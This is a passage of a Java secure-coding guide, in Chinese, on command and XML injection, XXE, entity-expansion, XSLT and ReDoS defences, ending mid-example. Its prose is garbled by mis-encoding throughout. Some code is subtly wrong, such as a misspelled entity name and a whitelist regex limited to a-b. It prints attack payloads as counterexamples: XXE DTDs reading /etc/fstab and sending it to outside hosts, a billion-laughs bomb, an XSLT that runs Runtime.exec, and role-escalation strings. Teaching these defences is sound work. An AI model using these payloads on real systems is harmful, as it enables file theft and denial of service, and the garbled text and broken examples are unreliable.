**外部数æ®ç”¨äºŽæž„é€ éžshellæ–¹å¼çš„命令行** **ã€å例】** ```java String cmd = "ping" + ip; Runtime rt = Runtime.getRuntime(); Process proc = rt.exec(cmd); ``` 当ip的值为“ 127.0.0.1 -tâ€çš„时候,会å‘实际执行的命令ä¸æ³¨å…¥å‚数“-tâ€å‚数,导致ping进程æŒç»æ‰§è¡Œã€‚ 针对命令注入或å‚数注入,具体的解决方案如下: 1ã€**é¿å…直接执行命令** 对于Javaçš„æ ‡å‡†åº“æˆ–å¼€æºç»„件已ç»æä¾›çš„åŠŸèƒ½ï¼Œåº”ä½¿ç”¨æ ‡å‡†åº“æˆ–å¼€æºç»„件的API,é¿å…执行命令。 å¦‚æžœæ— æ³•é¿å…执行命令,则必须è¦å¯¹å¤–部数æ®è¿›è¡Œæ£€æŸ¥å’Œè¿‡æ»¤ã€‚ 2ã€**对外部数æ®è¿›è¡Œæ ¡éªŒ** **ã€æ£ä¾‹ã€‘**(数æ®æ ¡éªŒï¼‰ ```java ... // str值æ¥è‡ªç”¨æˆ·è¾“å…¥ if (!Pattern.matches("[0-9A-Za-z@]+", str)) { // 处ç†é”™è¯¯ } ... ``` 外部数æ®ç”¨äºŽæ‹¼æŽ¥å‘½ä»¤è¡Œæ—¶ï¼Œå¯ä½¿ç”¨ç™½åå•æ–¹å¼å¯¹å¤–部数æ®è¿›è¡Œæ ¡éªŒï¼Œä¿è¯å¤–部数æ®ä¸ä¸å«æ³¨å…¥é£Žé™©çš„特殊å—符。 3ã€**对外部数æ®è¿›è¡Œè½¬ä¹‰** **ã€æ£ä¾‹ã€‘**(转义) ```java String encodeIp = XXXXEncoder.encodeForOS(new WindowsCodec(), ip); String cmd = "cmd.exe /c ping " + encodeIp; Runtime rt = Runtime.getRuntime(); Process proc = rt.exec(cmd); ... ``` åœ¨æ‰§è¡Œå‘½ä»¤è¡Œæ—¶ï¼Œå¦‚æžœè¾“å…¥æ ¡éªŒä¸èƒ½ç¦æ¢æœ‰é£Žé™©çš„特殊å—符,需先外部输入进行转义处ç†ï¼Œè½¬ä¹‰åŽçš„å—段拼接命令行å¯æœ‰æ•ˆé˜²æ¢å‘½ä»¤æ³¨å…¥çš„产生。 说明:æ£ç¡®çš„转义处ç†åªæ˜¯é’ˆå¯¹å¤–部输入,而ä¸æ˜¯æ‹¼æŽ¥åŽçš„完整命令行。转义方å¼åªé’ˆå¯¹å‘½ä»¤æ³¨å…¥æœ‰æ•ˆï¼Œå¯¹äºŽå‚æ•°æ³¨å…¥æ— æ•ˆã€‚ ## ç¦æ¢ç›´æŽ¥ä½¿ç”¨å¤–部数æ®æ¥æ‹¼æŽ¥XML **ã€æ述】** 使用未ç»æ ¡éªŒçš„æ•°æ®æ¥æž„é€ XML会导致XML注入æ¼æ´žã€‚如果用户被å…许输入结构化的XML片段,则用户å¯ä»¥åœ¨XMLçš„æ•°æ®åŸŸä¸æ³¨å…¥XMLæ ‡ç¾æ¥æ”¹å†™ç›®æ ‡XML文档的结构和内容,XML解æžå™¨ä¼šå¯¹æ³¨å…¥çš„æ ‡ç¾è¿›è¡Œè¯†åˆ«å’Œè§£é‡Šï¼Œå¼•èµ·æ³¨å…¥é—®é¢˜ã€‚ **ã€å例】** ```java private void createXMLStream(BufferedOutputStream outStream, User user) throws IOException { String xmlString; xmlString = "<user><role>operator</role><id>" + user.getUserId() + "</id><description>" + user.getDescription() + "</description></user>"; ... // 解æžxmlå—符串 } ``` æ¶æ„用户å¯èƒ½ä¼šä½¿ç”¨ä¸‹é¢çš„å—符串作为用户ID: ``` "joe</id><role>administrator</role><id>joe" ``` 并使用如下æ£å¸¸çš„输入作为æè¿°å—段: ``` "I want to be an administrator" ``` 最终,整个XMLå—符串将å˜æˆå¦‚下形å¼ï¼š ```xml <user> <role>operator</role> <id>joe</id> <role>administrator</role> <id>joe</id> <description>I want to be an administrator</description> </user> ``` 由于SAX解æžå™¨ï¼ˆorg.xml.sax and javax.xml.parsers.SAXParser)在解释XML文档时会将第二个role域的值覆盖å‰ä¸€ä¸ªroleåŸŸçš„å€¼ï¼Œå› æ¤ä¼šå¯¼è‡´æ¤ç”¨æˆ·è§’色由æ“作员æå‡ä¸ºäº†ç®¡ç†å‘˜ã€‚ **ã€å例】**(XML Schema或者DTDæ ¡éªŒï¼‰ ```java private void createXMLStream(BufferedOutputStream outStream, User user) throws IOException { String xmlString; xmlString = "<user><id>" + user.getUserId() + "</id><role>operator</role><description>" + user.getDescription() + "</description></user>"; StreamSource xmlStream = new StreamSource(new StringReader(xmlString)); // 创建一个使用schemaæ‰§è¡Œæ ¡éªŒçš„SAX解æžå™¨ SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); StreamSource ss = new StreamSource(new File("schema.xsd")); try { Schema schema = sf.newSchema(ss); Validator validator = schema.newValidator(); validator.validate(xmlStream); } catch (SAXException ex) { throw new IOException("Invalid userId", ex); } // XML是有效的, è¿›è¡Œå¤„ç† outStream.write(xmlString.getBytes(StandardCharsets.UTF_8)); outStream.flush(); } ``` 如下是schema.xsd文件ä¸çš„schema定义: ```xml <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="user"> <xs:complexType> <xs:sequence> <xs:element name="id" type="xs:string"/> <xs:element name="role" type="xs:string"/> <xs:element name="description" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> ``` æŸä¸ªæ¶æ„用户å¯èƒ½ä¼šä½¿ç”¨ä¸‹é¢çš„å—符串作为用户ID: ``` "joe</id><role>Administrator</role><!--" ``` 并使用如下å—符串作为æè¿°å—段: ``` "--><description>I want to be an administrator" ``` 最终,整个XMLå—符串将å˜æˆå¦‚下形å¼ï¼š ```xml <user> <id>joe</id> <role>Administrator</role><!--</id> <role>operator</role> <description> --> <description>I want to be an administrator</description> </user> ``` 用户ID结尾处的`<!--`å’Œæè¿°å—段开头处的`-->`将会注释掉原本硬编ç 在XMLå—符串ä¸çš„角色信æ¯ã€‚虽然用户角色已ç»è¢«æ”»å‡»è€…篡改æˆç®¡ç†å‘˜ç±»åž‹ï¼Œä½†æ˜¯æ•´ä¸ªXMLå—符串ä»ç„¶å¯ä»¥é€šè¿‡schemaçš„æ ¡éªŒã€‚XML schema或者DTDæ ¡éªŒä»…èƒ½ç¡®ä¿XMLçš„æ ¼å¼æ˜¯æœ‰æ•ˆçš„,而攻击者å¯ä»¥åœ¨ä¸æ‰“ç ´åŽŸæœ‰XMLæ ¼å¼çš„情况下,对XML的内容进行篡改。 **ã€æ£ä¾‹ã€‘**(白åå•æ ¡éªŒï¼‰ ```java private void createXMLStream(BufferedOutputStream outStream, User user) throws IOException { // 仅当userIDåªåŒ…å«å—æ¯ã€æ•°å—和下划线时写入XMLå—符串 if (!Pattern.matches("[_a-bA-B0-9]+", user.getUserId())) { // 处ç†é”™è¯¯ } if (!Pattern.matches("[_a-bA-B0-9]+", user.getDescription())) { // 处ç†é”™è¯¯ } String xmlString = "<user><id>" + user.getUserId() + "</id><role>operator</role><description>" + user.getDescription() + "</description></user>"; outStream.write(xmlString.getBytes(StandardCharsets.UTF_8)); outStream.flush(); } ``` 这个方法使用白åå•çš„æ–¹å¼å¯¹è¾“å…¥è¿›è¡Œæ ¡éªŒï¼Œè¦æ±‚输入的userIdä¸åªèƒ½åŒ…å«å—æ¯ã€æ•°å—或者下划线。 **ã€æ£ä¾‹ã€‘**(使用安全的XML库) ```java public static void buildXML(FileWriter writer, User user) throws IOException { Document userDoc = DocumentHelper.createDocument(); Element userElem = userDoc.addElement("user"); Element idElem = userElem.addElement("id"); idElem.setText(user.getUserId()); Element roleElem = userElem.addElement("role"); roleElem.setText("operator"); Element descrElem = userElem.addElement("description"); descrElem.setText(user.getDescription()); XMLWriter output = null; try { OutputFormat format = OutputFormat.createPrettyPrint(); format.setEncoding("UTF-8"); output = new XMLWriter(writer, format); output.write(userDoc); output.flush(); } finally { // å…³é—æµ } } ``` 上述示例ä¸ä½¿ç”¨Dom4jæ¥æž„建XML,Dom4j是一个定义良好ã€å¼€æºçš„XML工具库。Dom4j会对文本数æ®åŸŸè¿›è¡ŒXMLç¼–ç ,从而使得XMLçš„åŽŸå§‹ç»“æž„å’Œæ ¼å¼å…å—ç ´å。 这个例åä¸ï¼Œæ”»å‡»è€…如果输入如下å—符串作为用户ID: ``` "joe</id><role>Administrator</role><!--" ``` 以åŠä½¿ç”¨å¦‚下å—符串作为æè¿°å—段: ``` "--><description>I want to be an administrator" ``` 则最终会生æˆå¦‚ä¸‹æ ¼å¼çš„XML: ```xml <user> <id>joe</id><role>Administrator</role><!--</id> <role>operator</role> <description>--><description>I want to be an administrator</description> </user> ``` å¯ä»¥çœ‹åˆ°ï¼Œâ€œ<â€ä¸Žâ€œ>â€ç»è¿‡XMLç¼–ç åŽåˆ†åˆ«è¢«æ›¿æ¢æˆäº† “**\<â€**与â€**\>**â€ï¼Œå¯¼è‡´æ”»å‡»è€…未能将其角色类型从æ“作员æå‡åˆ°ç®¡ç†å‘˜ã€‚ **ã€æ£ä¾‹ã€‘**(编ç ) ```java private void createXMLStream(BufferedOutputStream outStream, User user) throws IOException { ... String encodeUserId = XXXXEncoder.encodeForXML(user.getUserId()); String encodeDec = XXXXEncoder.encodeForXML(user.getDescription()); String xmlString = "<user><id>" + encodeUserId + "</id><role>operator</role><description>" + encodeDec + "</description></user>"; outStream.write(xmlString.getBytes(StandardCharsets.UTF_8)); outStream.flush(); } ``` 上述示例ä¸ï¼Œå¯¹å¤–部数æ®åœ¨æ‹¼æŽ¥XMLå—符串å‰è¿›è¡Œäº†ç¼–ç 处ç†ï¼Œç„¶åŽå†æž„é€ XMLå—ç¬¦ä¸²ï¼Œè¿™æ ·å°±ä¸ä¼šå¯¼è‡´XMLå—符串结构被篡改。 ## 防æ¢è§£æžæ¥è‡ªå¤–部的XML导致的外部实体(XML External Entity)攻击 **ã€æ述】** XMLå®žä½“åŒ…æ‹¬å†…éƒ¨å®žä½“å’Œå¤–éƒ¨å®žä½“ã€‚å¤–éƒ¨å®žä½“æ ¼å¼ï¼š`<!ENTITY 实体å SYSTEM "URI"\>`或者`<!ENTITY 实体å PUBLIC "public_ID" "URI"\>`。Javaä¸å¼•å…¥å¤–部实体的å议包括httpã€httpsã€ftpã€fileã€jarã€netdocã€mailtoç‰ã€‚XXEæ¼æ´žå‘生在应用程åºè§£æžæ¥è‡ªå¤–部的XMLæ•°æ®æˆ–文件时没有ç¦æ¢å¤–éƒ¨å®žä½“çš„åŠ è½½ï¼Œé€ æˆä»»æ„文件读å–ã€å†…网端å£æ‰«æã€å†…网网站攻击ã€DoS攻击ç‰å±å®³ã€‚ 1.利用外部实体的引用功能实现任æ„文件的读å–: ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [ <!ENTITY file SYSTEM "file:///c:/xxx/xxx.ini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile> ``` 2.使用å‚数实体和<CDATA[]>é¿å…XML解æžè¯æ³•é”™è¯¯ï¼Œæž„é€ æ¶æ„的实体解æžï¼š XMLæ–‡ä»¶ï¼šæž„é€ å‚数实体 % startï¼›% goodiesï¼›% endï¼›% dtd定义一个æ¶æ„çš„combine.dtd ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///etc/fstab"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd"> %dtd; ]> <roottag>&all;</roottag> ``` æ¶æ„DTD:combine.dtdä¸å®šä¹‰å®žä½“&all; ```xml <?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;"> ``` 甚至å¯ä»¥è¿™æ ·æž„é€ æ¶æ„çš„combine.dtd,将结果å‘é€åˆ°ç›®æ ‡åœ°å€ï¼Œæœ€åŽä¼šèŽ·å¾—file:///etc/fstab文件。 ```xml <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % send "<!ENTITY all SYSTEM 'http://mywebsite.com/?%gooddies;'>"> %send; ``` **ã€å例】** 该示例ä¸å¯¹æ¥è‡ªå¤–部的XML文件进行解æžï¼Œæ²¡æœ‰ç¦æ¢è§£æžDTDs或者ç¦æ¢è§£æžå¤–部实体。 ```java private void parseXmlFile(String filePath) { try { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(new File(filePath)); ... // 解æžxml文件ä¸çš„内容 } catch (ParserConfigurationException ex) { // 处ç†å¼‚常 } ... } ``` 上述代ç 示例ä¸è§£æžXML文件时未进行安全防护,当解æžçš„XML文件是攻击者æ¶æ„æž„é€ çš„ï¼Œç³»ç»Ÿä¼šå—到XXE攻击。 **ã€æ£ä¾‹ã€‘**(ç¦æ¢è§£æžDTDs) ```java private void parserXmlFileDisableDtds(String filePath) { try { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(new File(filePath)); ... // 解æžxml文件ä¸çš„内容 } catch (ParserConfigurationException ex) { // 处ç†å¼‚常 } ... } ``` 代ç ä¸è®¾ç½®ç¦æ¢è§£æžDTDs属性,该方å¼ä¸ä»…å¯ä»¥é˜²æ¢XML的外部实体攻击也能防æ¢XML内部实体攻击。 **ã€æ£ä¾‹ã€‘**(ç¦æ¢è§£æžå¤–部一般实体和外部å‚数实体) 该代ç 示例能防æ¢å¤–部实体(XXE)攻击,ä¸èƒ½é˜²æ¢XML内部实体攻击。 ```java private void parserXmlFileDisableExternalEntityes(String filePath) { try { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(new File(filePath)); ... // 解æžxml文件ä¸çš„内容 } catch (ParserConfigurationException ex) { // 处ç†å¼‚常 } ... } ``` **ã€æ£ä¾‹ã€‘**(对外部实体进行白åå•æ ¡éªŒï¼‰ 这个示例方法定义一个CustomResolverç±»æ¥å®žçŽ°æŽ¥å£`org.xml.sax.EntityResolver`。在这个类ä¸å®žçŽ°è‡ªå®šä¹‰çš„处ç†å¤–部实体机制。自定义实体解æžæ–¹æ³•ä¸ä½¿ç”¨ä¸€ä¸ªç®€å•çš„白åå•ï¼Œåœ¨ç™½åå•èŒƒå›´å†…的返回对应的文件内容,å¦åˆ™è¿”回一个空的实体解æžå†…容。 ```java private static void parserXmlFileValidateEntities(String filePath) { try { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); db.setEntityResolver(new ValidateEntityResolver()); Document doc = db.parse(new File(filePath)); ... // 解æžxml文件ä¸çš„内容 } catch (ParserConfigurationException ex) { // 处ç†å¼‚常 } ... } class ValidateEntityResolver implements EntityResolver { private static final String GOOD_ENTITY = "file:/Users/onlinestore/good.xml"; public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException { if (publicId != null && publicId.equals(GOOD_ENTITY)) { return new InputSource(publicId); } else if (systemId != null && systemId.equals(GOOD_ENTITY)) { return new InputSource(systemId); } else { return new InputSource(); } } } ``` 当系统ä¸æ¶‰åŠçš„XMLæ“作ä¸å¿…须使用外部实体时,必须对外部实体进行白åå•æ ¡éªŒã€‚å…·ä½“çš„æ ¡éªŒæ–¹å¼å¦‚上述代ç ,自定义一个`ValidateEntityResolver`类(实现接å£`org.xml.sax.EntityResolver`),在`resolveEntity`方法ä¸å¯¹XMLä¸å¼•å…¥çš„实体进行白åå•æ ¡éªŒï¼Œæ‹’ç»è§£æžéžç™½åå•ä¸çš„外部实体。 备注:XML解æžå™¨éžå¸¸å¤šï¼Œä¸èƒ½ä¸€ä¸€åˆ—举。当程åºåŠ è½½æ¥è‡ªå¤–部的XMLæ•°æ®æ—¶ï¼Œé€šè¿‡è®¾ç½®å¯¹è¯¥è§£æžå™¨ç”Ÿæ•ˆçš„属性或其他方法达到ç¦æ¢è§£æžå¤–部实体的目的,通过构建上é¢ç¤ºä¾‹ä¸æœ‰æ”»å‡»è¡Œä¸ºçš„XML内容,查看程åºå应æ¥åˆ¤æ–设置的属性是å¦å·²ç»ç”Ÿæ•ˆã€‚ ## 防æ¢è§£æžæ¥è‡ªå¤–部的XML导致的内部实体扩展(XML Entity Expansion)攻击 **ã€æ述】** XML内部实体是实体的内容已ç»åœ¨Doctypeä¸å£°æ˜Žã€‚å†…éƒ¨å®žä½“æ ¼å¼ï¼š`<!ENTITY 实体å "实体的值"\>`。内部实体攻击比较常è§çš„是XML Entity Expansion攻击,它主è¦è¯•å›¾é€šè¿‡æ¶ˆè€—ç›®æ ‡ç¨‹åºçš„æœåŠ¡å™¨å†…å˜èµ„æºå¯¼è‡´DoS攻击。外部实体攻击和内部实体扩展攻击有ä¸åŒçš„防护措施(ç¦æ¢DTDs解æžå¯ä»¥é˜²æŠ¤å¤–部实体和内部实体攻击)。 解æžä¸‹é¢æ¶æ„çš„XML内部实体,会å 用大é‡æœåŠ¡å™¨å†…å˜èµ„æºï¼Œå¯¼è‡´æ‹’ç»æœåŠ¡æ”»å‡»ã€‚ ```xml <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> ``` 内部实体扩展攻击**最好的防护措施是ç¦æ¢DTDs的解æž**。也å¯ä»¥å¯¹å†…部实体数é‡è¿›è¡Œé™åˆ¶ï¼Œä»¥æ¶ˆå‡å†…部实体扩展攻击å‘生的å¯èƒ½æ€§ã€‚在ä¸éœ€è¦ä½¿ç”¨å†…部实体时,应该ç¦æ¢DTDs解æžï¼Œéœ€è¦ä½¿ç”¨å†…éƒ¨å®žä½“æ—¶ï¼Œä¸¥æ ¼é™åˆ¶å†…部实体的数é‡åŠXML内容的大å°ã€‚ **ã€æ£ä¾‹ã€‘**(ç¦æ¢è§£æžDTDs) ```java public void receiveXMLStream(InputStream inStream) throws ParserConfigurationException, SAXException, IOException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); db.parse(inStream); } ``` **ã€æ£ä¾‹ã€‘**(é™åˆ¶å®žä½“解æžä¸ªæ•°ï¼‰ Javaä¸çš„JAXP解æžå™¨é»˜è®¤é™åˆ¶å®žä½“解æžä¸ªæ•°æ˜¯64,000个,但通常ä¸ä¼šéœ€è¦è§£æžè¿™ä¹ˆå¤šçš„实体个数,å¯ä»¥é™åˆ¶æ›´å°çš„实体解æžä¸ªæ•°ã€‚该代ç 示例ä¸é€šè¿‡è®¾ç½®DOM解æžå™¨çš„属性é™åˆ¶è§£æžå®žä½“个数。 ```java public void receiveXMLStream(InputStream inStream) throws ParserConfigurationException, SAXException, IOException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setAttribute("http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit", "200"); DocumentBuilder db = dbf.newDocumentBuilder(); db.parse(inStream); } ``` 备注:属性http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit在JDK 7u45+ã€JDK 8版本ä¸æ”¯æŒã€‚JAXPä¸çš„SAXå’ŒStAX类型解æžå™¨ä¸æ”¯æŒè¯¥å±žæ€§ã€‚ **ã€æ£ä¾‹ã€‘**(é™åˆ¶å®žä½“解æžä¸ªæ•°ï¼‰ 该代ç 示例ä¸é€šè¿‡è®¾ç½®ç³»ç»Ÿå±žæ€§é™åˆ¶è§£æžå®žä½“个数。 ```java public void receiveXMLStream(InputStream inStream) throws ParserConfigurationException, SAXException, IOException { // 使用系统属性é™åˆ¶ System.setProperty("entityExpansionLimit", "200"); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); db.parse(inStream); } ``` 备注:系统属性entityExpansionLimit在JDK 7u45+ã€JDK 8版本ä¸æ”¯æŒã€‚JAXPä¸çš„SAXå’ŒStAX类型解æžå™¨åŒæ ·ç”Ÿæ•ˆã€‚ 有些产å“使用Xerces第三方jar包æ供的DOMã€SAXã€StAX类型解æžå™¨ï¼Œè¯¥jar包ä¸å¯ä»¥é€šè¿‡è®¾ç½®`setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true)`é™åˆ¶å®žä½“个数ä¸èƒ½è¶…过100,000个。 **ã€æ£ä¾‹ã€‘**(é™åˆ¶è§£æžå®žä½“个数) Xerces包ä¸é™åˆ¶å®žä½“解æžä¸ªæ•°ä»£ç 。 ```java private static void receiveXMLStream(InputStream inStream) throws ParserConfigurationException, SAXException, IOException { DocumentBuilderFactory factory = DocumentBuilderFactoryImpl.newInstance(); factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true); DocumentBuilder db = factory.newDocumentBuilder(); org.w3c.dom.Document doc = db.parse(inStream); doc.getChildNodes(); } ``` 备注:XML解æžå™¨éžå¸¸å¤šï¼Œä¸èƒ½ä¸€ä¸€åˆ—举。当程åºåŠ è½½æ¥è‡ªå¤–部的XMLæ•°æ®æ—¶ï¼Œé€šè¿‡è®¾ç½®å¯¹è¯¥è§£æžå™¨ç”Ÿæ•ˆçš„属性或其他方法达到ç¦æ¢è§£æžå†…部实体的目的,通过构建上é¢ç¤ºä¾‹ä¸æœ‰æ”»å‡»è¡Œä¸ºçš„XML内容,查看程åºå应æ¥åˆ¤æ–设置的属性是å¦å·²ç»ç”Ÿæ•ˆã€‚ ## ç¦æ¢ä½¿ç”¨ä¸å®‰å…¨çš„XSLT转æ¢XML文件 **ã€æ述】** XSLT是一ç§æ ·å¼è½¬æ¢æ ‡è®°è¯è¨€ï¼Œå¯ä»¥å°†XMLæ•°æ®è½¬æ¢ä¸ºå¦å¤–çš„XMLæˆ–å…¶ä»–æ ¼å¼ï¼Œå¦‚HTML网页,纯文å—ã€‚å› ä¸ºXSLT的功能å分强大,å¯ä»¥å¯¼è‡´ä»»æ„代ç 执行,当使用TransformerFactory转æ¢XMLæ ¼å¼æ•°æ®çš„时候,需è¦æ·»åŠ 安全ç–ç•¥ç¦æ¢ä¸å®‰å…¨çš„XSLT代ç 执行。 **ã€å例】** ```java public void XsltTrans(String src, String dst, String xslt) { // 获å–转æ¢å™¨å·¥åŽ‚ TransformerFactory tf = TransformerFactory.newInstance(); try { // 获å–转æ¢å™¨å¯¹è±¡å®žä¾‹ Transformer transformer = tf.newTransformer(new StreamSource(xslt)); // è¿›è¡Œè½¬æ¢ transformer.transform(new StreamSource(src), new StreamResult(new FileOutputStream(dst))); ... } catch (TransformerException ex) { // 处ç†å¼‚常 } ... } ``` 这里xslt没有åšä»»ä½•é™åˆ¶ï¼Œç›´æŽ¥è°ƒç”¨ï¼Œå½“执行类似如下XSLT代ç 的时候,会导致命令执行æ¼æ´žï¼š ```xml <?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="java"> <xsl:template match="/" xmlns:os="java:lang.Runtime" > <xsl:variable name="runtime" select="java:lang.Runtime.getRuntime()"/> <xsl:value-of select="os:exec($runtime, 'calc')" /> </xsl:template> </xsl:stylesheet> ``` **ã€æ£ä¾‹ã€‘** ```java public void xsltTrans(String src, String dst, String xslt) { // 获å–转æ¢å™¨å·¥åŽ‚ TransformerFactory tf = TransformerFactory.newInstance(); try { // 转æ¢å™¨å·¥åŽ‚设置黑åå•ï¼Œç¦ç”¨ä¸€äº›ä¸å®‰å…¨çš„方法,类似XXE防护 tf.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true); // 获å–转æ¢å™¨å¯¹è±¡å®žä¾‹ Transformer transformer = tf.newTransformer(new StreamSource(xslt)); // 去掉<?xml version="1.0" encoding="UTF-8"?> transformer.setOutputProperty("omit-xml-declaration", "yes"); // è¿›è¡Œè½¬æ¢ transformer.transform(new StreamSource(src), new StreamResult(new FileOutputStream(dst))); ... } catch (TransformerException ex) { // 处ç†å¼‚常 } ... } ``` TransformerFactoryå¯ä»¥æ·»åŠ 安全ç–略防护,Java对xslt内置了黑åå•ï¼Œè¿™é‡Œé€šè¿‡å°†[http://javax.xml.XMLConstants/feature/secure-processing属性设置为trueå¼€å¯é˜²æŠ¤ï¼Œå¯ä»¥ç¦ç”¨ä¸€äº›ä¸å®‰å…¨çš„方法。](http://javax.xml.xmlconstants/feature/secure-processing属性设置为trueå¼€å¯é˜²æŠ¤ï¼Œå¯ä»¥ç¦ç”¨ä¸€äº›ä¸å®‰å…¨çš„方法。) ## æ£åˆ™è¡¨è¾¾å¼åº”该尽é‡ç®€å•ï¼Œé˜²æ¢ReDos攻击 **ã€æ述】** ReDos攻击是æ£åˆ™ç¼–写ä¸å½“导致的常è§å®‰å…¨é£Žé™©ã€‚Javaä¸æ供的æ£åˆ™åŒ¹é…使用的是NFA引擎。NFA引擎的回溯机制,导致当å—符串文本与æ£åˆ™è¡¨è¾¾å¼ä¸åŒ¹é…时,所花费的时间è¦æ¯”匹é…时多。å³è¦ç¡®å®šåŒ¹é…失败,需è¦ä¸Žæ‰€æœ‰å¯èƒ½çš„路径进行对比匹é…,è¯æ˜Žéƒ½ä¸åŒ¹é…时,æ‰è¿”回匹é…失败。当使用简å•çš„éžåˆ†ç»„æ£åˆ™è¡¨è¾¾å¼æ—¶ï¼Œä¸€èˆ¬ä¸ä¼šå˜åœ¨ReDos攻击。容易å˜åœ¨ReDos攻击的æ£åˆ™è¡¨è¾¾å¼ä¸»è¦æœ‰ä¸¤ç±»ï¼š 1〠包å«å…·æœ‰è‡ªæˆ‘é‡å¤çš„é‡å¤æ€§åˆ†ç»„çš„æ£åˆ™ï¼Œä¾‹å¦‚: `^(\d+)+$` `^(\d*)*$` `^(\d+)*$` `^(\d+|\s+)*$` 2〠包å«æ›¿æ¢çš„é‡å¤æ€§åˆ†ç»„,例如: `^(\d|\d|\d)+$` `^(\d|\d?)+$` 对于ReDos攻击的防护手段主è¦åŒ…括: - 进行æ£åˆ™åŒ¹é…å‰ï¼Œå…ˆå¯¹åŒ¹é…çš„æ–‡æœ¬çš„é•¿åº¦è¿›è¡Œæ ¡éªŒï¼› - 在编写æ£åˆ™æ—¶ï¼Œå°½é‡ä¸è¦ä½¿ç”¨è¿‡äºŽå¤æ‚çš„æ£åˆ™ï¼Œå°½é‡å°‘用分组,例如对于æ£åˆ™`^(([a-z])+\.)+[A-Z]([a-z])+$`(å˜åœ¨ReDos风险),å¯ä»¥å°†å¤šä½™çš„åˆ†ç»„åˆ é™¤ï¼š`^([a-z]+\.)+[A-Z][a-z]+$`ï¼Œè¿™æ ·åœ¨ä¸æ”¹å˜æ£€æŸ¥è§„则的å‰æ下消除了ReDos风险; - é¿å…动æ€æž„建æ£åˆ™ï¼Œå½“使用外部数æ®æž„é€ æ£åˆ™æ—¶ï¼Œè¦ä½¿ç”¨ç™½åå•è¿›è¡Œä¸¥æ ¼æ ¡éªŒã€‚ **ã€å例】** ```java private static final Pattern REGEX_PATTER = Pattern.compile("a(b|c+)+d"); public static void main(String[] args) { ... Matcher matcher = REGEX_PATTER.matcher(args[0]); if (matcher.matches()) { ... } else { ... } ... } ``` 上述示例代ç ä¸ï¼Œæ£åˆ™è¡¨è¾¾å¼`a(b|c+)+d`å˜åœ¨ReDos风险,当匹é…çš„å—ç¬¦ä¸²æ ¼å¼ä¸ºâ€accccccccccccccccxâ€æ—¶ï¼Œéšä¸é—´çš„å—符â€câ€çš„å¢žåŠ ï¼Œä»£ç 执行时间将æˆæŒ‡æ•°çº§å¢žé•¿ã€‚ **ã€æ£ä¾‹ã€‘** ```java private static final Pattern REGEX_PATTER = Pattern.compile("a[bc]+d"); public static void main(String[] args) { ... Matcher matcher = REGEX_PATTER.matcher(args[0]); if (matcher.matches()) { ... } else { ... } ... } ``` 上述代ç ä¸ï¼Œå°†æ£åˆ™è¡¨è¾¾å¼ç²¾ç®€ä¸º`a[bc]+d`,å¯ä»¥åœ¨å®žçŽ°ç›¸åŒåŠŸèƒ½çš„å‰æ下消除ReDos风险。 **ã€å例】** ```java String key = request.getParameter("keyword"); ... String regex = "[a-zA-Z0-9_-]+@" + key + 